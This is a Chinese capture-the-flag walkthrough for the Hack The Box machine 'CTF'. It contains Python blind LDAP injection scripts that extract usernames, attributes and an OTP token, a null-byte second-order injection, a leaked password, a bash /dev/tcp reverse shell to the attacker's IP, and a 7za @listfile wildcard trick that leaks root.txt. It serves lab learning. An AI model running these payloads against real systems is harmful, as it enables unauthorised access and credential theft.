基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜  ~ nmap -sC -sV 10.10.10.122
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-24 22:57 EST
Nmap scan report for 10.10.10.122
Host is up (0.050s latency).
Not shown: 971 filtered ports, 27 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.89 seconds

80

80给出信息需要登录,禁止爆破:

登录是用户名和OTP:

LDAP

根据页面注释信息,应该是ldap:

另外搜索81 digits token可以知道是CTF(compressed token format)

ldap注入

就是ldap注入,’*’需要二次编码,用户名不存在会提示User xxx not found,存在提示Cannot login,利用这个得到用户名:

最终得到用户名是ldapuser

ldap枚举

同样的方式,枚举出存在的属性:

1
2
3
4
5
6
7
8
9
10
Attribute found cn
Attribute found commonName
Attribute found mail
Attribute found name
Attribute found objectClass
Attribute found pager
Attribute found sn
Attribute found surname
Attribute found uid
Attribute found userPassword

其他都是常见的,除了pager,在pager里可以得到OTP token:

1
Token: 285449490011357156531651545652335570713167411445727140604172141456711102716717000

attribute.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
from requests import post
from urllib import quote
import string

url = "http://10.10.10.122/login.php"
chars = string.ascii_lowercase
attrs = open('attributes.txt').readlines()

for i in attrs:
payload = 'ldapuser)({}=*'.format(i.strip())
payload = quote(payload)
data = { 'inputUsername' : payload, 'inputOTP' : 'htb' }
res = post( url, data = data )
if 'Cannot login' in res.content:
print "Attribute found " + i

pager.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
from requests import post
from urllib import quote
import string
from time import sleep

url = "http://10.10.10.122/login.php"
chars = string.digits
token = []
k = 81

while k > 0 :
for i in chars:
payload = 'ldapuser)(pager={}*'.format(''.join(token) + i)
payload = quote(payload)
data = { 'inputUsername' : payload, 'inputOTP' : 'htb' }
sleep(1)
res = post( url, data = data )
if 'Cannot login' in res.content:
token.append(i)
k = k - 1
print "Token: " + ''.join(token)
break

OTP

根据之前的搜索信息,可以用stoken导入token生成OTP,因为OTP和时间相关,需要加上服务器和本地的时间差值,(或者直接修改时区):

计算出otp,成功登录:

1
2
stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000
60522474

登录进去可以执行命令,同样需要otp, 但提示需要root或者adm才能执行命令:

二阶LDAP注入

就是00截断:

1
2
3
4
5
6
7
8
9
login: (&(uid=$username)(pager=*))
admin: (&(uid=$username)(group='Admin'))

# 如果使用ldapuser))%00
login: (&(uid=ldapuser))%00)(pager=*))
admin: (&(uid=ldapuser))%00)(group='Admin'))
# 会变成
login: (&(uid=ldapuser))
admin: (&(uid=ldapuser))

admin

登录时用户名使用’ldapuser%29%29%29%00’,成功登录,可以执行命令:

info

然后直接查看php文件,得到ldap用户名密码:

1
ldapuser : e398e27d5c4ad45086fe431120932a01

user flag

使用这个密码ssh登录,得到user.txt:

提权信息

backup

可以看到根目录有个backup目录,里面有一些zip文件,一个error.log和honeypot.sh:

查看sh文件内容,里面用7za压缩uploads目录里的文件,并且-snl忽略软链接(只处理软链接文件,不处理指向文件),’– *’表明前面的已经处理完,星号作为文件名通配符

但7z支持7z @listfile这种方式,您可以为特殊列表文件(包含文件列表的文件)提供一个或多个文件名或通配符。此类列表文件中的文件名必须用换行符号分隔,由于--,列表文件只能提供要使用的文件

利用方式

结合这些信息,可以在/uploads/目录里创建两个文件:

1
@miao miao

miao是软链接,指向/root/root.txt

这样当压缩时,执行的是:

1
2
3
4
5
6
7za a /backup/$filename.zip -t7z -snl -p$pass -- * 
7za a /backup/$filename.zip -t7z -snl -p$pass -- @miao miao
# 7za会认为@miao是listfile,替换成miao的内容,miao是到root.txt的软链接,所以就变成了
7za a /backup/$filename.zip -t7z -snl -p$pass -- [root flag] miao
# 7za尝试压缩[root flag] miao,但因为不存在[root flag],导致产生错误日志,其中包含[root flag]
# 我们可以tail -f error.log来在日志清空之前得到内容

honeypot.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log

exploit && root flag

apache shell

ldapuser不能访问uploads目录,需要从前面的otp那里打apache shell,有防火墙,只能443端口:

1
bash -i &>/dev/tcp/10.10.14.6/443 <&1

exploit

1
2
touch @miao
ln -sf /root/root.txt miao

等待备份执行,error log得到root flag:

参考资料